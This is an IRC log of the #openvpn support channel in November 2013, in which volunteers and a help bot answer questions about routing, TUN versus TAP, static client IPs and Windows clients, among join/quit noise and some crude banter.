14:41 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
14:41 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:41 <+pekster> (plus !serverlan if you need access to server-side resources as well)
14:44 < Sembei> yes, for server I tried and is working fine, I enabled ip forward and added a route and from my cell I can access all my network now
14:50 < Sembei> pekster: mode server is the same as adding a server 10.0.0.0 255.255.255.0 ?
14:52 < magnulu> pekster: ok, thank you for the answer
14:52 -!- magnulu [~magnulu@46.246.19.241] has left #openvpn []
15:06 <+pekster> Sembei: No, read --server in the manpage. That is a helper-directive that expands as if you supplied a bunch of other directives
15:07 <+pekster> --mode server is merely one of the things --server does
15:12 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 272 seconds]
15:15 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
15:19 -!- Denial [Denial@2.223.161.125] has quit []
15:19 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has joined #openvpn
15:19 -!- mode/#openvpn [+o debbie10t] by ChanServ
15:21 -!- ludde_ [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
15:25 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
15:32 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
15:32 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:37 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
15:38 -!- d1gital is now known as frenocha
15:42 -!- frenocha is now known as d1gital
16:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:08 < linuxthefish> has anyone had any luck bridging OpenVPN TAP adapter and local area connection on Windows?
16:08 < linuxthefish> i need to share my VPN connection :/
16:09 <+pekster> You generally don't want a bridge in that case; route across the TAP device ideally with cooperation from the remote server side. If you don't have that, do NAT to "hide" the downstream LAN
16:09 <+pekster> A bridge is for when you want 2 physically disjoined networks to function as a logical L2 (Ethernet broadcast) network
16:10 < linuxthefish> oh
16:10 <+pekster> And don't use tap in the first place unless you actually need it. Read info at !tunortap and !whybridge
16:10 < linuxthefish> i tried internet connection sharing but it's not assigning IP
16:10 < linuxthefish> !tunortap
16:10 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning
16:10 <@vpnHelper> against you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:10 < linuxthefish> i didn't set it up :/
16:10 <+pekster> To be quite blunt, you generally have a better time using an OS designed to act as a router if you want to route; Windows (especially the non-server OSes) are awful at routing, fwiw
16:11 < linuxthefish> also it works with android so how can it be TAP? O.o
16:11 <+pekster> Pretty much any modern Linux or BSD system is better equiped to do things like routing & NAT
16:11 <+pekster> It's not then; android doesn't support tap today
16:11 <+pekster> (and you can't bridge tun)
16:12 < linuxthefish> !wins
16:12 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
16:13 < linuxthefish> guess i'm better of buying a wireless card for my desktop and creating a new connection then
16:13 < linuxthefish> can you have 2 openvpn connections from one IP?
16:13 <+pekster> You can run as many instances of openvpn as you want, sure
16:14 < linuxthefish> oh cool, thanks for your help
16:14 < rob0> (That sounds rather ugly, however.)
16:14 <+pekster> Note that server's often only allow a single client commonName (so the cert or username depending on config) to connect at once. See --duplicate-cn (or !duplicate) for detailsi
16:15 < linuxthefish> i've got seperate client configs/certs for both, and it's my own server :p
16:16 <+pekster> Easiest is to connect from both if you want to expose server-side resources to each. You can route for an entire LAN too, if you'd like, with cooperation from your LAN's default gateway
16:16 -!- AginLap [~AginLap@109.201.154.200] has quit [Quit: Leaving]
16:16 < linuxthefish> sounds too complicated, i'm not a networking nerd and i'm on my uni's internet xD
16:27 -!- master_o1_master [~master_of@p4FD7BD80.dip0.t-ipconnect.de] has joined #openvpn
16:30 -!- master_of_master [~master_of@p4FD7B5A2.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
16:36 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
16:38 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has left #openvpn []
16:42 -!- HyperGlide [~HyperGlid@182.151.165.160] has joined #openvpn
17:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:15 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 272 seconds]
17:16 -!- mattock is now known as mattock_afk
17:17 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
17:39 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
17:39 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
18:06 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 252 seconds]
18:12 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 246 seconds]
18:21 -!- HyperGlide [~HyperGlid@182.151.165.160] has quit [Quit: Leaving...]
18:24 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has joined #openvpn
18:24 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:25 <@debbie10t> Does JoshC frequent this abode ?
18:27 <@debbie10t> if so tell him .. i nearly fell off my chair when i read the reply to his eloquent lesson in openvpm performance
18:27 <@debbie10t> https://forums.openvpn.net/topic13547.html
18:27 <@vpnHelper> Title: OpenVPN Support Forum How to test max number of clients supported by openvpn : Configuration (at forums.openvpn.net)
18:28 <@debbie10t> i had to delete my rather obtuse reponce
18:29 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
18:29 <@debbie10t> spelling intended
18:31 -!- zedsix [~z6@unaffiliated/z6] has quit [Client Quit]
18:32 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 268 seconds]
18:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:38 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has left #openvpn []
18:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 244 seconds]
19:05 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
19:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:36 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:42 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
19:42 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
19:55 -!- GeekFreak [~GeekFreak@1.130.172.48] has joined #openvpn
19:55 < GeekFreak> hey people
20:04 < GeekFreak> all sleeping again
20:04 <@ecrist> !ask
20:04 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
20:05 < GeekFreak> !talk :)
20:05 <@ecrist> !ban
20:05 <@ecrist> :D
20:05 < GeekFreak> lol
20:06 < GeekFreak> I am just here for general discussion about openvpn
20:06 <@ecrist> this time is generally pretty quiet
20:06 < wsky> I CAN DISCUSS ANYTHING, SHOOT!
20:06 < GeekFreak> oh really I also believe ive found a bug
20:06 <@ecrist> *bang*
20:07  * wsky dies
20:07 < GeekFreak> boom
20:07  * ecrist cheers
20:07 < wsky> ow, bugs, i hate these.
20:07 < GeekFreak> *kicks* for good measure
20:08 < GeekFreak> nothing critical or exploitable and you wouldn't notice in a normal scenario
20:10 < GeekFreak> but I am special:)
20:11 < wsky> ok so
20:11 < wsky> report it
20:12 < GeekFreak> to who ?
20:12 <@ecrist> !trac
20:12 <@vpnHelper> "trac" is (#1) see https://community.openvpn.net for development information and bug tracker. or (#2) if you have a forum login, use that for trac, its the same database.
20:12 < GeekFreak> Ghostbusters
20:13 <@ecrist> if it's a serious security threat, send an email to security@openvpn.net
20:13 < GeekFreak> do I have to submit a proof of concept ? and if so how detailed or will they just investigate the directive
20:14 <@ecrist> the more information you can provide, the better
20:14 < wsky> i want to know teh age of your sister
20:14 < GeekFreak> I want to know the age of your mother
20:15 < GeekFreak> *puts on gimp suit*
20:18 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
20:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:22 <@EugeneKay> !gigabit
20:22 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
20:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
20:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:12 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 246 seconds]
21:23 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Operation timed out]
21:38  * GeekFreak  twirls around
21:38 < GeekFreak> weeeeee
21:56 < wsky> so guys, i'd like to have hostname to ip translation for my vpn hosts, where should i begin?
21:57 <@krzee> begin by setting up dns i guess
21:57 <@krzee> :D
21:58 < wsky> i'm not in shape today for learning bind9 lulz
21:59 <@krzee> werd, not an openvpn thing tho
21:59 <@krzee> !script
21:59 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
21:59 <@krzee> but you'll prolly just wanna setup dns static for whatever
21:59 <@krzee> and if you need static ips on the vpn,
21:59 <@krzee> !static
21:59 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
22:01 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 < wsky> !ccd
22:10 < rob0> put your addresses in /etc/hosts, run dnsmasq, enjoy
22:10 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
22:21 < wsky> actually i did't know hwat ipp.txt is for, this settles it for now, i have a small vpn
22:23 <@krzee> !ipp
22:23 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
22:24 < wsky> !iporder
22:24 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
22:24 < wsky> !static
22:24 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
22:29 < wsky> ok i hope this works
22:30 < wsky> the lack of errors is promising
22:43 < GeekFreak> !comp-lzo
22:43 < GeekFreak> poop
22:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
22:57 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
23:05 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
23:07 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:09 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
23:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
23:36 -!- xrosnight [~quassel@183.16.10.210] has joined #openvpn
23:37 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
23:39 -!- xrosnight_ [~quassel@183.16.10.210] has joined #openvpn
23:39 -!- xrosnight [~quassel@183.16.10.210] has quit [Read error: Connection reset by peer]
23:41 -!- xrosnight_ [~quassel@183.16.10.210] has quit [Remote host closed the connection]
23:56 -!- GeekFreak [~GeekFreak@1.130.172.48] has quit [Ping timeout: 246 seconds]
--- Day changed Fri Nov 08 2013
00:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
00:08 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:35 -!- acu [~acu@107.128.131.129] has joined #openvpn
00:35 < acu> OK, I lost krzee golden rules :) can anyone remind me ?
00:36 < acu> !route
00:36 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
00:36 < acu> !sample
00:36 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
00:36 < acu> !start
00:36 < acu> OK, nothing there
00:40 -!- mattock_afk is now known as mattock
00:40 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:44 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
00:44 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:56 < acu> helo
00:57 < acu> is it possible to use OpenVPN in a virtual machine rather than physical server ?
00:59 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
01:00 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:00 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:00 -!- map is now known as Guest95696
01:01 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
01:02 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
01:19 -!- TheCaptain2000 [~quassel@130.214.77.188.dynamic.jazztel.es] has joined #openvpn
01:20 < TheCaptain2000> Hi, I am looking for a windows 64 client for openvpn, can anybody land a helping hand? so far none I have been using has worked
01:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:26 -!- acu [~acu@107.128.131.129] has quit [Ping timeout: 240 seconds]
01:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:33 -!- TheCaptain2000 [~quassel@130.214.77.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
01:50 -!- Guest95696 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
01:55 -!- aegis [~aegis@184.75.212.34] has quit [K-Lined]
01:58 <@EugeneKay> !download
01:58 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
01:58 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
01:58 <@EugeneKay> Or he's gone, whatever.
02:16 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
02:20 -!- smue [smue@nostromo.smue.info] has joined #openvpn
02:33 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
02:35 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
03:05 -!- fenris_kcf [~fenris@p549BC04A.dip0.t-ipconnect.de] has joined #openvpn
03:11 < fenris_kcf> hy. i'm trying to establish a VPN, where my machine is both server and client. generally it seems to work, but after connecting to the VPN, my route-configuration seems to be messed up, so that i can't access the normal local net, through which internet-access is provided. i know that i have to add a static route into the router for my VPN. unfortunatelly the router has no option for that :/. but i don't think that this is the reason for 
03:13 -!- Denial [Denial@2.223.161.125] has joined #openvpn
04:07 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:23 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:57 -!- TheCaptain2000 [~quassel@130.214.77.188.dynamic.jazztel.es] has joined #openvpn
04:58 < TheCaptain2000> Hi, I am looking for a windows 64 client for openvpn, can anybody land a helping hand? so far none I have been using has worked
05:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:02 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:05 < fenris_kcf> TheCaptain2000: so http://swupdate.openvpn.org/community/releases/openvpn-install-2.3.2-I003-x86_64.exe is not working?
05:06 < fenris_kcf> what is the error-message?
05:06 < TheCaptain2000> When I used tha tone I was never reaching the openvpn server
05:07 < TheCaptain2000> I checked if the firewall was the problem but even switching it off it was always trying to connect and hung in there
05:07 < TheCaptain2000> I tried this last time a month ago or so, I am not sure the version was exactly that
05:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
05:36 -!- antisober552 [~antisober@97e5a332.skybroadband.com] has left #openvpn ["Leaving"]
05:37 -!- SimplyMe [~chatzilla@2.235.17.93.rev.sfr.net] has joined #openvpn
05:37 < SimplyMe> Hi everybody
05:41 < SimplyMe> I have a question with my OpenVPN client configuration, is it the right place ?
05:41 <@plaisthos> yes
05:43 < SimplyMe> I am in a internal network at work, and I would like to use  OpenVPN on a virtual machine
05:44 < SimplyMe> the problem is that at work, we have a DHCP server which give us all a dynamic IP
05:44 < SimplyMe> and when i load the openVPN configuration my tun0 ip is 10.x.x.x
05:44 < SimplyMe> and it make all the subnet at work crash because all other PC think my tun0 is a DNS server
05:45 < SimplyMe> how can i ask the DHCP to give me a dynamic ip to my tun0 card ?
05:49 <@plaisthos> ugh
05:49 <@plaisthos> you don't
05:49 <@plaisthos> !routing
05:49 <@plaisthos> !basic
05:49 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
05:49 <@plaisthos> !iprouting
05:52 < SimplyMe> I don't administrate a VPN, i'm just a client who would like to configure it's own ip for the tun card :)
05:52 < SimplyMe> And yes i'm discovering networking basics
05:57 < ZeK__> SimplyMe : which OS are you using ?
05:58 < SimplyMe> On the host ? Windows 7, and in the VM Linux
05:58 < SimplyMe> debian
05:59 < ZeK__> If you're using the Network Manager UI, drop it and do it with configuratino files
06:00 -!- linuxthefish [~linux@217.147.84.35] has quit [Quit: ZNC - http://znc.sourceforge.net]
06:01 < SimplyMe> so is there a workaround to avoid this issue with conf file ?
06:02 -!- valent [~valentt@unaffiliated/valent] has quit [Quit: Leaving.]
06:24 < fenris_kcf> hy. i'm trying to establish a VPN, where my machine is both server and client. generally it seems to work, but after connecting to the VPN, my route-configuration seems to be messed up, so that i can't access the normal local net, through which internet-access is provided. i know that i have to add a static route into the router for my VPN. unfortunatelly the router has no option for that :/. but i don't think that this is the reason for 
06:45 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
07:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
07:09 -!- SimplyMe_ [~chatzilla@2.235.17.93.rev.sfr.net] has joined #openvpn
07:09 -!- SimplyMe [~chatzilla@2.235.17.93.rev.sfr.net] has quit [Read error: Connection reset by peer]
07:09 -!- SimplyMe_ is now known as SimplyMe
07:10 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
07:10 -!- SimplyMe [~chatzilla@2.235.17.93.rev.sfr.net] has quit [Read error: Connection reset by peer]
07:10 -!- takamichi [~takamichi@85.12.8.12] has joined #openvpn
07:10 -!- SimplyMe [~chatzilla@2.235.17.93.rev.sfr.net] has joined #openvpn
07:11 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
07:13 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
07:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
07:14 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
07:14 -!- SimplyMe [~chatzilla@2.235.17.93.rev.sfr.net] has quit [Client Quit]
07:27 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
07:28 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
07:34 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
07:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
07:43 -!- takamichi [~takamichi@85.12.8.12] has quit [Read error: Connection reset by peer]
07:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:58 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 246 seconds]
08:03 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
08:37 -!- TheCaptain2000_ [~quassel@130.214.77.188.dynamic.jazztel.es] has joined #openvpn
08:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
08:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:44 -!- mode/#openvpn [+o dazo] by ChanServ
08:46 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
08:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:57 -!- mode/#openvpn [+o dazo] by ChanServ
09:53 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
10:08 -!- TheCaptain2000_ [~quassel@130.214.77.188.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
10:08 -!- TheCaptain2000 [~quassel@130.214.77.188.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
10:09 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has joined #openvpn
10:13 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
10:13 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
10:24 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:29 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
10:56 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 272 seconds]
11:01 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
11:09 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
11:11 -!- takamichi [~takamichi@141.255.164.79] has joined #openvpn
11:18 -!- xrosnight [~quassel@27.38.171.142] has joined #openvpn
11:31 -!- xrosnight [~quassel@27.38.171.142] has quit [Changing host]
11:31 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
11:37 -!- takamichi [~takamichi@141.255.164.79] has quit [Ping timeout: 248 seconds]
11:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:42 -!- davidmp [~davidmp@149.255.100.107] has quit [Ping timeout: 272 seconds]
11:43 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
11:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: No route to host]
11:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:05 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 264 seconds]
12:10 -!- xrosnight_ [~quassel@27.38.171.142] has joined #openvpn
12:10 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 244 seconds]
12:11 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
12:17 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Remote host closed the connection]
12:21 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:22 -!- mirco [~mirco@p508021BD.dip0.t-ipconnect.de] has joined #openvpn
12:22 -!- xrosnight_ [~quassel@27.38.171.142] has quit [Remote host closed the connection]
12:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:23 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
12:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:01 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:03 -!- JackWinter is now known as Jackinter
13:03 -!- Jackinter is now known as JackWinter
13:06 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
13:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
13:37 -!- dazo is now known as dazo_afk
13:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Read error: Connection reset by peer]
13:41 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
13:48 -!- mirco [~mirco@p508021BD.dip0.t-ipconnect.de] has quit [Quit: mirco]
13:50 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
13:58 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:59 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
14:16 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has quit [Remote host closed the connection]
14:16 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:18 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:19 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
14:20 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 244 seconds]
14:23 <@ecrist> whole lot of nothing today, it seems
14:33 <+pekster> There was a nassty-ish bug on the forum for 2.3.2 w/ polarssl-1.3.x that I urged the OP to report :\
14:33 <+pekster> I'll do it myself by Monday if (s)he doesn't
14:33 <+pekster> https://forums.openvpn.net/topic14241.html
14:33 <@vpnHelper> Title: OpenVPN Support Forum cannot make openvpn 2.3.2 with polarssl 1.3.1 : Testing branch (at forums.openvpn.net)
14:47 <+pekster> The fix there is "easy", but given the connection to cipher_reset() (and the associated source commit in the polarssl sources) for GCM ciphers, I don't want to rush a fix for that which causes problems with future GCM cipher support
14:55 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 265 seconds]
15:02 -!- havoc [~havoc@neptune.chaillet.net] has quit [Read error: Operation timed out]
15:04 -!- mattock is now known as mattock_afk
15:09 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:09 -!- cjs226 [~cjs226@cpe-70-112-220-16.austin.res.rr.com] has joined #openvpn
15:10 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 244 seconds]
15:12 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
15:12 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection]
